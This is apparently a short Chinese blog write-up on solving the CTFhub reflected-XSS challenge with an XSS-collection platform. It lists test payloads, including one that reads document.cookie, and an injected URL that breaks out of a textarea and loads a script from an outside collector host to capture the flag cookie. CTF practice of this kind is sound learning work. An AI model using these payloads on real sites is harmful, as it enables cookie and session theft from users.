xss平台详解及练习

XSS平台

xss平台使用教程

xss平台使用教程

练习

CTFhub web 反射型xss

在第一栏处输入测试语句

<script>alert('xss')</script>

<script>alert(document.cookie)</script>

我第一次做这道题也没有思路，也是通过看别人写的wp学会的。

大佬博客

1. 首先创建一个项目并选择默认模块
2. 点击下一步随即跳转到一个项目代码介绍的页面
3. 复制任意一条代码在题目的第二栏处，作为name参数的值

http://challenge-c6b409cfbd39396f.sandbox.ctfhub.com:10800/?name=</textarea>'"><script src=http://xsscom.com//AyECx1></script>

4. 回到平台后点击之前创建的项目下，会新增一栏操作，全部展开即可得到flag。